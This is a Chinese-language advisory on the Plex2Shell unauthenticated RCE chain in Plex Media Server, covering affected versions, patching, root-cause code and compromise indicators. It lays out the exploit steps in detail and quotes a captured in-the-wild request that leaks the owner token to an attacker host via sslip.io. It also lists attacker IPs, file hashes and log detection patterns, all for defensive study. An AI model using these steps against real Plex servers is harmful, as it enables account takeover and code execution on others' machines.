Plex2Shell：已遭在野利用的 Plex RCE（CVE-2026-96656）

要点速览

• Plex2Shell 是 Plex Media Server 中四个漏洞组成的利用链：CVE-2026-96652、CVE-2026-96654、CVE-2026-96655 和 CVE-2026-96656。攻击始于一个未经身份验证的请求，最终以 Plex 服务用户身份执行代码。公开概念验证于 2026 年 10 月 16 日发布。
• 所有早于 1.43.3.10861 的 Plex Media Server 构建均受影响。发现该利用链的研究人员给出的 CVSS v3.1 评分为 9.8；各个 CVE 的评分为 4.3 至 8.6，因为它们是单独评估的。
• 已确认存在在野利用。Plex 于 10 月 19 日表示，这些漏洞正在针对面向互联网的服务器被“积极且广泛地利用”，失陷主机上被部署了加密货币挖矿程序和代理软件。CISA 于 10 月 20 日将利用链中的全部四个 CVE 加入已知遭利用漏洞目录。
• 立即更新至 1.43.3.10861 或更高版本。如果服务器未修补时，可从互联网访问其 32400 端口，Plex 建议假定其可能已经失陷，并在再次信任它之前排查下列指标。

我是否受影响？

如果以下条件全部成立，您就受影响：

• 您在任意平台上运行 Plex Media Server：Windows、macOS、Linux、Docker、NAS 设备或 NVIDIA Shield。
• 构建版本早于 1.43.3.10861。CVE 记录将该构建之前的所有版本标为受影响，概念验证说明该利用链对最高至 1.43.3.10828 的版本有效。
• 可通过 Plex Remote Access 或手动端口转发，从互联网访问 32400 端口。利用链的入口是来自互联网的请求，Plex 的失陷处理指导针对“尚未更新的面向互联网的服务器”。

同一构建还修复了第五个漏洞 CVE-2026-96651，这是通过 /system/agents/media/get 触发的路径遍历，需要任意有效会话令牌，而非互联网访问路径。它允许网络上的攻击者读取会话用户有权读取的文件，包括控制 Plex 账户的 PlexOnlineToken。它不属于未经身份验证的利用链，但采用相同修复版本。

检查每台服务器的版本，包括 Docker 和 NAS 安装。在 Plex Web 中打开“设置”，然后进入“常规”，查看显示的版本。在主机本身上，identity 端点会返回构建版本：

curl -s http://localhost:32400/identity | grep -o 'version="[^"]*"'   # run on the Plex host
docker exec plex curl -s http://localhost:32400/identity               # Docker: adjust the container name

如何修复？

更新至 1.43.3.10861 或更高版本。自动更新可通过 Plex Web 的“设置”“常规”获取。对于手动安装，请从 Plex 下载页 下载当前构建。Plex 的 2026 年 9 月 1 日安全通知逐一说明各平台的更新方式，包括更新包滞后、需要手动安装的 NAS 应用商店，以及按 pms-docker 镜像更新流程处理的 Docker。

随后使用上述 identity 检查验证构建版本；如果不需要远程访问，请按 Plex 建议在“设置”“远程访问”中关闭 Remote Access。

如果暂时无法更新，请在防火墙上阻止从互联网访问 32400 端口。利用链的第一个请求来自互联网，因此这可阻断未经身份验证的利用链。其局限也确实存在：它无法防御 CVE-2026-96651，后者只需处于相邻网络并持有有效会话令牌，而且阻断端口会使用户无法远程串流。

如果服务器此前暴露于互联网且未修补，请在恢复服务前执行下面的失陷检查；如有任何匹配项，请按 Plex 的恢复指导处理。

根本原因是什么？

利用链之所以有效，是因为四个独立弱点分别为攻击者提供了下一阶段所需的条件：从不验证有效性的令牌检查、无法阻止执行的授权检查、仅凭表象信任 URL 的前缀检查，以及找到什么就执行什么的编解码器加载器。 安全研究人员 Zach Main 于 2026 年 7 月 27 日向 Plex 披露这四个漏洞，并于 2026 年 10 月 16 日公开了包含源码级分析的详细信息。

评分来自 2026 年 9 月 23 日发布的 CVE 记录。

阶段 1：只检查令牌存在、不检查其有效性的关卡。 /player/timeline 后面的 companion 协议端点按以下方式检查 WAN 请求，代码引自披露内容：

HttpReply CompanionProxyRequestHandler::handle(HttpRequest& req) {
    if (req.locality == Locality::WAN && !req.hasParam("X-Plex-Token")) {
        return HttpReply{401};
    }
    // hasParam() checks existence, not validity
    return CompanionProxyRequestHandler::instance().dispatch(req);
}

hasParam() 只回答请求头是否存在。X-Plex-Token: junk 即可通过。已订阅的播放器取消订阅时，服务器会向根据播放器提供的 protocol、host 和 port 拼接的 URL 发出回调 POST：

std::string Controller::callbackUrl() const {
    return (boost::format("%1%://%2%:%3%") % protocol % host % port).str();
}

没有任何逻辑验证 protocol 是否为协议方案，因此在该参数中放入完整 URL，即可将服务器 POST 发往攻击者指定的任意位置，包括通过回环地址发给自身。

阶段 2：无法阻止调用的授权检查。 /system/agents/* 插件 API 对来自回环地址的请求无需令牌即可开放。其 searchOne 端点试图拒绝未注册的代理标识符：

@lock(self.agent_info)
def inner():
    if identifier not in Core.messaging.plugin_list():
        return  # returns from inner(), not from search_one
    # ... proceed ...

@lock 装饰器包装 inner() 并丢弃其返回值，因此即使检查提前返回，search_one 仍会继续运行。标识符被赋给 target，再未经编码拼入内部 URL：

url = 'http://127.0.0.1:32400/:/plugins/%s/messaging/%s' % (target, key)

标识符中的 ? 会开始查询字符串，# 则截断后续部分，因此攻击者可以控制下一个回环请求的路径和查询参数：伪造对任意插件函数的调用。

阶段 3：仅凭表象信任的前缀检查。 Python 插件框架会为看起来属于内部请求的出站请求附加所有者的管理员令牌：

if url.find('http://127.0.0.1') == 0:
    request.headers['X-Plex-Token'] = os.environ['PLEXTOKEN']

这是一个没有边界约束的字符串前缀匹配。127.0.0.1.<attacker-ip>.sslip.io 之类的主机名以 127.0.0.1 开头，因此会附加令牌，但 sslip.io DNS 服务将该名称解析为攻击者 IP。阶段 2 伪造对内置 TheTVDB 代理的 GetResultFromNetwork 函数的调用；该函数可获取 URL，目标指向这样的主机名。所有者的 local-* 管理员令牌就会发送到攻击者的监听服务。

阶段 4：变成文件写入的首选项，以及信任自身目录的加载器。 获得所有者令牌后，PUT /:/prefs 可设置 TranscoderH264Options，这一字符串会在每次转码时原样追加到 x264 编码器命令行。x264 调试选项 dump-yuv 将解码帧写入调用者选择的路径，qp=0 则使编码无损，因此写入的帧与输入视频逐比特一致。攻击者托管一个首帧为 ELF 共享对象的载体视频，通过 /video/:/transcode/universal 端点触发转码（CVE-2026-96655 提供了不受允许列表限制的获取能力），ELF 即以 .so 文件落入 Codecs 目录。转码器启动时，内置 libavutil.so.58 中的 avpriv_load_new_libs 会枚举该目录，并对每个 .so 文件执行 dlopen()，不检查签名、可执行位或符号。即使共享对象仅包含 ELF 构造函数，其代码仍会在加载时执行。

如何利用？

github.com/code-zm/plex2shell 上的概念验证将各阶段完整串联。对易受攻击服务器执行的步骤如下：

1. 通过长轮询 companion 端点注册播放器，发送 X-Plex-Token: junk。仅检查存在性的逻辑会放行。
2. 订阅时在 protocol 参数中放入目标插件 API 调用的回环 URL，然后取消订阅。服务器从真实的回环来源向自身 POST 伪造请求。
3. 伪造的 searchOne 调用到达 TheTVDB 代理的 GetResultFromNetwork，传入一个以 http://127.0.0.1 开头但解析到攻击者地址的 URL。服务器附加所有者管理员令牌并将其发送出去。
4. PUT /:/prefs 将 TranscoderH264Options 设置为 dump-yuv=<codec-dir>/x.so:qp=0。
5. 针对攻击者托管的载体视频触发转码。x264 将逐比特一致的 ELF 写入 Codecs 目录。
6. 第二次转码枚举并加载该 .so。其构造函数以 Plex 服务用户身份运行，默认 Linux 安装上为 uid=1000(plex)。在 PoC 中，它会 fork 并 exec 一个反向 shell。

研究人员 boredhackerblog 于 2026 年 10 月 17 日发布的蜜罐 Zeek 日志捕获了首个在野请求，其中一个订阅 URL 就体现了阶段 1 至 3，用户代理为 Python-urllib/3.10：

/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471

sslip.io 令牌泄露主机和 identifier=com.plexapp.agents.thetvdb/function/GetResultFromNetwork 路径，是 HTTP 日志中最容易识别的两个攻击特征。

攻击流程是什么？

流程是线性的：用垃圾值通过令牌检查，让服务器请求自身回环 API，伪造插件调用泄露所有者令牌，滥用转码器首选项写入 ELF 载荷，再由编解码器加载器执行它。

攻击者能做什么？

• 以 Plex 服务用户身份执行任意代码：安装加密货币挖矿程序、代理软件、后门或该账户可以执行的任何程序。在已观察到的攻击中，XMRig 挖矿程序和住宅代理后门均被部署。
• 接管 Plex 账户。被窃取的所有者令牌以及通过 CVE-2026-96651 可获取的 PlexOnlineToken 控制账户和服务器，包括媒体库、设置及已登录设备。
• 滥用主机带宽和住宅 IP。“myawesomeproxy”后门通过受害者互联网连接转发他人的流量，这种入侵模式将家庭网络连接变现。
• 访问服务账户可以访问的一切：挂载的媒体共享、存储于同一机器或虚拟机上的其他凭据，以及 plex 用户能读取的其他相邻资源。

攻击者所需条件：未经身份验证的利用链要求从互联网可达 32400 端口，以及服务器能联系到攻击者主机以泄露令牌和获取媒体。无需身份验证、用户交互或非默认配置；PoC 还提供 Windows 载荷。若单独利用 CVE-2026-96651，只需处于相邻网络并持有任意有效会话令牌。

修复为什么有效？

Plex Media Server 是闭源软件，因此没有可引用的公开补丁差异。1.43.3.10861 发布说明明确列出其中两项修复，它们分别在入口和载荷写入步骤打断利用链：

• “（安全）解决 CompanionProxy 中的潜在漏洞。（PM-5763）”覆盖 CVE-2026-96652 背后的阶段 1 端点。
• “（安全）TranscoderH264Options 和 TranscoderH264OptionsOverride 首选项不再允许通过网络修改。（PM-5766）”移除了阶段 4 的写入原语：即使持有所有者令牌，攻击者也无法再通过 API 设置转码器首选项，因此不能准备 dump-yuv 文件写入。

其他阶段也在同一构建中修复：Plex 的 10 月 19 日通知将 CVE-2026-96652、CVE-2026-96654、CVE-2026-96655 和 CVE-2026-96656 对应到 1.43.3 发行版，并表示 1.43.3.10861 及更高版本不受影响，PoC 仓库也表示利用链在该版本得到修复。由于利用链需要全部四个阶段，封闭任何一个阶段就能阻断未经身份验证的路径；此次发布封闭了多个阶段。

根据厂商声明，此修复完整覆盖该利用链，但有一点值得注意：遗留的代码加载模式，即服务器不检查签名和可执行位就执行目录中的 .so 文件，只有在其他途径都无法向该目录写入时才是安全的。在被证明并非如此之前，应将未来针对 Plex 数据目录的任何写入原语视为代码执行能力。

如何检查是否已遭入侵？

Plex 的 10 月 19 日通知非常直接：如果服务器版本早于 1.43.3.10861，且曾可从互联网访问，请假定它可能已经失陷。以下是其检查清单，以及利用分析公开的指标：

• 由 Plex Media Server 启动、您不认识的进程，尤其是名称为 myawesomeproxy、mylovelyminer 或 x12345 的进程。
• Plex Codecs 文件夹中不熟悉的 .so 或 .dll 文件。
• 到 proxystream.st 的出站连接，或未播放任何内容时 CPU 持续高占用。
• HTTP 日志中出现 /player/timeline/subscribe 请求，且其 protocol 参数包含完整 URL；或任何到 identifier=com.plexapp.agents.thetvdb/function/GetResultFromNetwork 的请求；或 sslip.io 下解析涉及 127.0.0.1.* 的主机名。用于特征分析的捕获 pcap 已发布于 github.com/BoredHackerBlog/plex2shell_pcap。
• 来自或发往已观察到的攻击基础设施的连接：91.92.40.202、176.65.139.228、45.194.92.222，以及从 217.60.194.116 下载载荷。
• 蜜罐捕获的 SHA-256 文件哈希：5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441（docker）、68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7（x，UPX 加壳）、b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49（x，未加壳）、e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9（myawesomeproxy）、2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db（xmrig）。

PoC 仓库提供了已验证的 YARA 规则和只读排查脚本，可在标准安装路径中检查植入的编解码器痕迹、载荷二进制文件和服务器日志：

git clone https://github.com/code-zm/plex2shell
cd plex2shell/detection
sudo ./hunt/plex2shell-hunt.sh                       # auto-discovers Linux, snap and Docker installs
yara -r -w yara/plex2shell.yar "/var/lib/plexmediaserver/Library/Application Support/Plex Media Server"

如果出现任何匹配项，或无法排除失陷，Plex 的恢复指导是：从干净安装重新构建服务器，不要复用旧数据目录；删除 Codecs 文件夹中的所有内容；检查 Preferences.xml 是否有并非您设置的转码器选项；从 Plex 账户设置中退出所有设备；更改 Plex 密码；并将服务账户可访问的一切，例如挂载共享和已存储凭据，都视为可能已经暴露。

时间线

• 2026-07-27：Zach Main 向 Plex 安全计划报告利用链。
• 2026-08-03：Plex Media Server 1.43.3.10861 在 Beta 通道发布，包含两项明确命名的安全修复。
• 2026-08-04：Plex 确认报告并支付赏金。
• 2026-09-01：Plex 发布“针对 Plex Media Server v1.43.2 及更早版本的重要安全更新”，敦促所有服务器所有者更新。
• 2026-09-23：CVE-2026-96651、-96652、-96654、-96655 和 -96656 发布。
• 2026-10-16：完整分析和概念验证公开披露。
• 2026-10-17：蜜罐首次观察到来自 45.194.92.222 的在野利用，距披露仅一天。
• 2026-10-19：Plex 确认积极且广泛的利用，并发布 CVE 表格和失陷处理指导。
• 2026-10-20：CISA 将利用链的四个 CVE 加入已知遭利用漏洞目录，CVE-2026-96654 和 CVE-2026-96656 的整改截止日期为 2026-10-23，CVE-2026-96652 和 CVE-2026-96655 为 2026-11-03。
• 2026-10-25：本文发布。

常见问题

如果从未做过端口转发，服务器还会暴露吗？

默认开启的 Remote Access 可通过 NAT 穿透使 32400 端口从互联网可达，即使没有手动端口转发。检查“设置”“远程访问”，看它是否曾显示“可从网络外部完全访问”，并将任何曾可访问且未修补的服务器视为暴露。

如果利用链评分为 9.8，为何各 CVE 的评分看起来较低？

每个 CVE 都是独立评分，利用链自身解锁的阶段带有权限要求指标：CVE-2026-96656 的 CVSS v3.1 评分为 7.2，因为它假设攻击者是管理员，尽管利用链让攻击者无需身份验证就能获得该角色。研究人员将完整利用链评为 CVSS v3.1 9.8，CISA KEV 收录反映的是实际可利用性，而非单个 CVE 的评分。

1.43.3.10828 或任意 1.43.2 发行版能保护我吗？

不能。PoC 说明利用链对最高至 1.43.3.10828 的版本有效，CVE 记录将早于 1.43.3.10861 的全部构建列为受影响。只有 1.43.3.10861 及更高版本才安全，这也是 Plex 的 9 月 1 日通知中“1.43.2 及更早版本”的实际要求：更新到当前的 1.43.3 构建。

部署的恶意软件具体做什么？

观察到了两种行为。名为 mylovelyminer 的 XMRig 加密货币挖矿进程连接服务器 ota.proxystream[.]st 挖矿；Bitsight 于 2026 年 8 月将该域名与 AISURU 代理软件僵尸网络关联。名为 myawesomeproxy 的后门将服务器变为转发他人流量的反向代理，并声明：“在您的任何设备上运行本软件，即表示您同意您的互联网流量可能被外部使用。”

我在 Docker 或 NAS 上运行 Plex，修复方式有不同吗？

修复构建相同，均为 1.43.3.10861。根据 Plex 的 9 月 1 日平台指南，Docker 安装通过拉取当前 pms-docker 镜像更新；NAS 安装通常需要手动安装软件包，因为应用商店更新滞后。失陷检查时，YARA 扫描目标是 Docker 的配置卷，以及各平台厂商的应用支持目录。

如果没有匹配项，只打补丁就够了吗？

打补丁会阻断利用链及其投放的恶意软件。由于被盗所有者令牌及任何外泄的 PlexOnlineToken 在服务器修复后仍可能有效，看到可疑活动的用户仍应退出所有设备并更改 Plex 密码；任何无法确定过去是否暴露的用户，都应遵循重建指导，而非仅相信干净的进程列表。

在攻击者之前找出未修补的 Plex 服务器

使用 Ostorlab 扫描面向互联网的资产，找出环境中仍报告早于 1.43.3.10861 构建的所有 Plex Media Server，以及其周边暴露的服务和媒体应用。

参考资料

• Zach Main 的披露，“Plex2Shell：Plex Media Server 中无需身份验证的 RCE”，2026 年 10 月 16 日，含各阶段源码分析和披露时间线：https://zmain.info/blog/plex2shell （核查于 2026 年 10 月 25 日）
• 概念验证和检测规则（YARA、排查脚本、测试样本）：https://github.com/code-zm/plex2shell （核查于 2026 年 10 月 25 日）
• boredhackerblog，“Plex 漏洞被在野利用以投放挖矿程序”，2026 年 10 月 17 日，含捕获的攻击 URI、IP 和文件哈希：https://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html （核查于 2026 年 10 月 25 日）
• 捕获的利用流量 pcap：https://github.com/BoredHackerBlog/plex2shell_pcap （核查于 2026 年 10 月 25 日）
• Plex 安全通知“针对 Plex Media Server v1.43.2 及更早版本的重要安全更新”，2026 年 9 月 1 日发布，2026 年 10 月 19 日更新 CVE 表、正在遭利用的声明和失陷检查清单：https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319 （核查于 2026 年 10 月 25 日）
• Plex Media Server 1.43.3.10861 发布说明，2026 年 8 月 3 日，列明 CompanionProxy 修复（PM-5763）和 TranscoderH264Options 网络修改修复（PM-5766）：https://forums.plex.tv/t/plex-media-server/30447/712 （核查于 2026 年 10 月 25 日）
• CVE-2026-96652 记录（CVSS v3.1 4.3、v4.0 5.3）：https://cveawg.mitre.org/api/cve/CVE-2026-96652 （核查于 2026 年 10 月 25 日）
• CVE-2026-96654 记录（CVSS v3.1 6.5、v4.0 6.9）：https://cveawg.mitre.org/api/cve/CVE-2026-96654 （核查于 2026 年 10 月 25 日）
• CVE-2026-96655 记录（CVSS v3.1 4.3、v4.0 5.3）：https://cveawg.mitre.org/api/cve/CVE-2026-96655 （核查于 2026 年 10 月 25 日）
• CVE-2026-96656 记录（CVSS v3.1 7.2、v4.0 8.6）：https://cveawg.mitre.org/api/cve/CVE-2026-96656 （核查于 2026 年 10 月 25 日）
• CVE-2026-96651 记录（CVSS v3.1 6.5、v4.0 7.1），伴随的路径遍历漏洞：https://cveawg.mitre.org/api/cve/CVE-2026-96651 （核查于 2026 年 10 月 25 日）
• CISA 已知遭利用漏洞目录，利用链的全部四个 CVE 于 2026 年 10 月 20 日加入：https://www.cisa.gov/known-exploited-vulnerabilities-catalog （核查于 2026 年 10 月 25 日）
• CISA 公告 VA-26-266-01，含五个 CVE 的描述和 CVSS v3.1 向量：https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json （核查于 2026 年 10 月 25 日）
• The Hacker News，“黑客利用 Plex2Shell 漏洞安装加密货币挖矿程序和 Linux 代理后门”，2026 年 10 月 19 日：https://thehackernews.com/2026/10/hackers-exploit-plex2shell-flaws-to.html （核查于 2026 年 10 月 25 日）
• Bitsight 关于 proxystream.st 基础设施和 AISURU 僵尸网络的分析：https://www.bitsight.com/blog/who-invited-aisuru-lan-party （核查于 2026 年 10 月 25 日）
• 包含用户失陷实例报告的 Reddit 讨论：https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/ （核查于 2026 年 10 月 25 日）